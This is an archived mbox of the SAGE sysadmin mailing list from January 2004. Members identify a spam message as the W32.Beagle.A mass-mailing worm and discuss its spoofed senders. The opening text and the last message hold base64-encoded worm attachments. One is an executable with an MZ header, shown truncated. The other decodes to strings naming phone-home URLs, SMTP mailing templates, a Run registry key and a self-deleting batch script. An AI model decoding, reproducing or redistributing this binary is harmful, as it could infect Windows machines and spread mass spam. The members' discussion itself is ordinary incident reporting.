dy5tb250YW5pYS5kZS8xLnBocABodHRwOi8vd3d3Lm1lZGktbWFydGluLmRlLzEucGhwAGh0 dHA6Ly92dmNnbi5kZS8xLnBocABodHRwOi8vd3d3LmJhbGxvbmZvdG8uY29tLzEucGhwAGh0 dHA6Ly93d3cubWFyZGVyLWdtYmguZGUvMS5waHAAaHR0cDovL3d3dy5kdmQtZmlsbWUuY29t LzEucGhwAGh0dHA6Ly93d3cuc21lYW5nb2wuY29tLzEucGhwAABEYXRlOiAlcw0KVG86ICVz DQpTdWJqZWN0OiBIaQ0KRnJvbTogJXMNCk1lc3NhZ2UtSUQ6IDwlcyVzPg0KTUlNRS1WZXJz aW9uOiAxLjANCkNvbnRlbnQtVHlwZTogbXVsdGlwYXJ0L21peGVkOw0KICAgICAgICBib3Vu ZGFyeT0iLS0tLS0tLS0lcyINCg0KAC0tLS0tLS0tLS0lcw0KQ29udGVudC1UeXBlOiB0ZXh0 L3BsYWluOyBjaGFyc2V0PSJ1cy1hc2NpaSINCkNvbnRlbnQtVHJhbnNmZXItRW5jb2Rpbmc6 IDdiaXQNCg0KAC0tLS0tLS0tLS0lcw0KQ29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi94LW1z ZG93bmxvYWQ7IG5hbWU9IlslJVJBTkQlJV0uZXhlIg0KQ29udGVudC1UcmFuc2Zlci1FbmNv ZGluZzogYmFzZTY0DQpDb250ZW50LURpc3Bvc2l0aW9uOiBhdHRhY2htZW50OyBmaWxlbmFt ZT0iWyUlUkFORCUlXS5leGUiDQoNCgANCg0KLS0tLS0tLS0tLSVzLS0NCg0KLg0KACBUZXN0 ID0pDQpbJVJBTkQlXVslUkFORCVdDQotLQ0KVGVzdCwgeWVwLg0KOmwNCmRlbCAlMQ0KaWYg ZXhpc3QgJTEgZ290byBsDQpkZWwgJTAAYS5iYXQAb3BlbgBxAgAAzQ0BAAAAAAAAAAAAAAAA AAAAAAAAAAAAY2FsYy5leGUAb3BlbgBTT0ZUV0FSRVxXaW5kb3dzOTgAdWlkAFNPRlRXQVJF XE1pY3Jvc29mdFxXaW5kb3dzXEN1cnJlbnRWZXJzaW9uXFJ1bgBkM2R1cGRhdGUuZXhlAFxi YmVhZ2xlLmV4ZQBmcnVuAAAAAAAAAAAAAAAAAAAsACAsDQoAPAA+AENDOiAAQkNDOgBUbzog AEhFTE8gJXMNCgBSU0VUDQoATUFJTCBGUk9NOjwlcz4NCgBSQ1BUIFRPOjwlcz4NCgBEQVRB DQoAWyVSQU5EJV0AZGRkJywnIGRkIE1NTSB5eXl5IABISDptbTpzcyAAJTAzaSUwMmkADQpc ACouKgBiZWFnbGVfYmVhZ2xlAFxic3VwbGQAIC11cGQALmV4ZQAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAgADAAAAIAAAgA4AAAA4AACAAAAAAAAAAAAAAAAAAAABAAEAAABQAACA AAAAAAAAAAAAAAAAAAABAAEAAABoAACAAAAAAAAAAAAAAAAAAAABAAAAAACAAAAAAAAAAAAA AAAAAAAAAAABAAAAAACQAAAAoJAAAOgCAAAAAAAAAAAAAIiTAAAUAAAAAAAAAAAAAAAoAAAA IAAAAEAAAAABAAQAAAAAAIACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAICAAIAA AACAAIAAgIAAAMDAwACAgIAAAAD/AAD/AAAA//8A/wAAAP8A/wD//wAA////ABERERERERER ERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERER EREREREREREREREREREREREREQAAAAAAAAAAAAAAAAAAARZkREREREREREREREREREAW5mZm ZmZmZmZmZmZmZmZAFvZgAGAAYABgAGAAAABmQBbmb3BvcG9wb3Bvd3dwZkAW9m/wb/Bv8G/w b///8GZAFuZmZmZmZmZmZmZmZmZmQBb2YABgAGAAYABgAGAAZkAW5m9wb3BvcG9wb3BvcGZA FvZv8G/wb/Bv8G/wb/BmQBbmZmZmZmZmZmZmZmZmZkAW9mAAYABgAGAAYABgAGZAFuZvcG9w b3BvcG9wb3BmQBb2b/Bv8G/wb/Bv8G/wZkAW5mZmZmZmZmZmZmZmZmZAFvZgd3d3d3d3d2Zm ZmZmQBbmYP////////dmZmZmZkAW9mB3d3d3d3d3ZmZmZmZAFuZgAAAAAAAAAGZmZmZmQBb+ /v7+/v7+/v7+/v7+/kARZmZmZmZmZmZmZmZmZmZhERERERERERERERERERERERERERERERER ERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERER ERERERERERERERERERERERER///////////////////////////AAAABgAAAAIAAAACAAAAA gAAAAIAAAACAAAAAgAAAAIAAAACAAAAAgAAAAIAAAACAAAAAgAAAAIAAAACAAAAAgAAAAIAA AACAAAAAgAAAAMAAAAH///////////////////////////////8AAAEAAQAgIBAAAQAEAOgC AAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA= ----------754088041474683-- From sage-members-owner@usenix.org Mon Jan 19 07:31:34 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0JFVYNn021518 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Mon, 19 Jan 2004 07:31:34 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i0JFVYx1021517 for sage-members-outgoing; Mon, 19 Jan 2004 07:31:34 -0800 (PST) Date: Mon, 19 Jan 2004 08:31:31 -0700 (MST) From: Rob Kolstad Message-Id: <200401191531.i0JFVV1M004383@ace.DELOS.COM> To: sage-members@sage.org Subject: [SAGE] tainted sage-members email Sender: owner-sage-members@usenix.org Precedence: bulk I note that I just received what appears to be spam on the sage-members list. Being as how it contains a .exe file, it might be dangerous spam. I'm investigating. RK ====================================================================== * /\ Rob Kolstad Executive Director, SAGE * /\ / \ kolstad@sage.org FAX: +1 719-481-6551 /\/ \/ \ +1 719-481-6542 15235 Roller Coaster Road / \ / \ http://www.sage.org Colorado Springs, CO 80921 ====================================================================== From sage-members-owner@usenix.org Mon Jan 19 07:38:15 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0JFcFNn022128 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Mon, 19 Jan 2004 07:38:15 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i0JFcFsd022126 for sage-members-outgoing; Mon, 19 Jan 2004 07:38:15 -0800 (PST) Date: Mon, 19 Jan 2004 10:38:07 -0500 (EST) From: Cat Okita To: Rob Kolstad cc: sage-members@sage.org Subject: Re: [SAGE] tainted sage-members email In-Reply-To: <200401191531.i0JFVV1M004383@ace.DELOS.COM> Message-ID: <20040119103708.G8571-100000@iguana.reptiles.org> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-sage-members@usenix.org Precedence: bulk On Mon, 19 Jan 2004, Rob Kolstad wrote: > I note that I just received what appears to be spam on the sage-members > list. Being as how it contains a .exe file, it might be dangerous > spam. It's the well documented and annoying 'Beagle' virus: http://securityresponse.symantec.com/avcenter/venc/data/w32.beagle.a@mm.html W32.Beagle.A@mm Discovered on: January 18, 2004 Last Updated on: January 19, 2004 04:46:41 PM W32.Beagle.A@mm is a mass-mailing worm that will only work until 28th of January. This worm will insert several files and registry keys on the system. It will also access remote websites, and email all contacts it can find. The emails sent by this worm will have the following characteristics: Subject: Hi Message: Test =) -- Test, yep. Filename: .exe Filesize: 16Kbytes Also Known As: I-Worm.Bagle [Kaspersky], WORM_BAGLE.A [Trend] Type: Worm Infection Length: 16 Kbytes Systems Affected: Windows 2000, Windows 95, Windows 98, Windows Me, Windows NT, Windows Server 2003, Windows XP Systems Not Affected: DOS, Linux, Macintosh, Microsoft IIS, OS/2, UNIX, Windows 3.x ========================================================================== "A cat spends her life conflicted between a deep, passionate and profound desire for fish and an equally deep, passionate and profound desire to avoid getting wet. This is the defining metaphor of my life right now." From sage-members-owner@usenix.org Mon Jan 19 10:45:00 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0JIixNn027228 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Mon, 19 Jan 2004 10:45:00 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i0JIixUN027227 for sage-members-outgoing; Mon, 19 Jan 2004 10:44:59 -0800 (PST) Date: Mon, 19 Jan 2004 10:44:43 -0800 (PST) From: Trey Harris To: Cat Okita Cc: Rob Kolstad , sage-members@sage.org Subject: Re: [SAGE] tainted sage-members email In-Reply-To: <20040119103708.G8571-100000@iguana.reptiles.org> Message-ID: <20040119102928.P54968@bowser.eecs.harvard.edu> References: <20040119103708.G8571-100000@iguana.reptiles.org> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-sage-members@usenix.org Precedence: bulk In hopes of quelling the inundation of emails I'm getting on this... Yes, I know about the spam sent under my address. No, I didn't send it out, intentionally or otherwise. I don't use Microsoft mail products or OS's for my mail reading. The virus that sent this out is somewhat more clever than others in picking spoofed From: addresses. It was sheer luck that it happened to hit a mailing list with a spoofed address (mine) that was actually a subscriber to that list (sage-members) so that moderation was bypassed. As for all the automated responses I've received: it seems to me that informing a spoofed user that they are being spoofed is arguably a reasonable thing to do (I say "arguably", though, because lacking a centralized authority for such activity, these emails could easily open an avenue for a personalized DoS), but informing them that they're infected with a virus is not--because it's not necessarily true. If you have control over the text of your automated messages, you may want to edit them to make them more clear, lest you send people who are merely innocent bystanders into a panic. The probability is that a given email addresses is not being read by a technically savvy person. :-) (I'm well aware that those reading mail behind the more draconian auto-updating filters probably are not seeing this message, and will possibly never see another message from me again. Regrettable, but short of only using non-respondable mail addresses, which I consider an abominable capitulation to the status quo, there's really no way for anyone to protect themselves from this sort of malicious activity.) -- Trey Harris Vice President SAGE -- The System Administrators Guild (www.sage.org) Opinions above are not necessarily those of SAGE. From sage-members-owner@usenix.org Mon Jan 19 13:25:26 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0JLPQNn001906 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Mon, 19 Jan 2004 13:25:26 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i0JLPPMQ001905 for sage-members-outgoing; Mon, 19 Jan 2004 13:25:26 -0800 (PST) Date: Mon, 19 Jan 2004 23:25:42 +0200 To: sage-members@sage.org Subject: [SAGE] Hi From: trey@sage.org Message-ID: MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="--------735000020700836" Sender: owner-sage-members@usenix.org Precedence: bulk ----------735000020700836 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Test =) wekpmrhfwf -- Test, yep. ----------735000020700836 Content-Type: application/x-msdownload; name="nyh.exe" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="trgo.exe" TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAyAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4g RE9TIG1vZGUuDQ0KJAAAAAAAAADchu8bmOeBSJjngUiY54FImOeBSJvngUgW+JJIxeeBSGTH k0iZ54FIX+GHSJnngUhSaWNomOeBSAAAAAAAAAAAAAAAAAAAAABQRQAATAEEAN9uCkAAAAAA AAAAAOAADwELAQUMACQAAABCAAAAAAAAijEAAAAQAAAAQAAAAABAAAAQAAAAAgAABAAAAAAA AAAEAAAAAAAAAACgAAAABAAAOScBAAIAAAAAABAAABAAAAAAEAAAEAAAAAAAABAAAAAAAAAA AAAAADhBAADIAAAAAJAAAKADAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAOAEAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAGJlYWdsZQAAhiMAAAAQAAAAJAAAAAQAAAAAAAAAAAAAAAAAACAA AGAucmRhdGEAANQHAAAAQAAAAAgAAAAoAAAAAAAAAAAAAAAAAABAAABALmRhdGEAAABONQAA AFAAAAAKAAAAMAAAAAAAAAAAAAAAAAAAQAAAwC5yc3JjAAAAoAMAAACQAAAABAAAADoAAAAA AAAAAAAAAAAAAEAAAMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 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 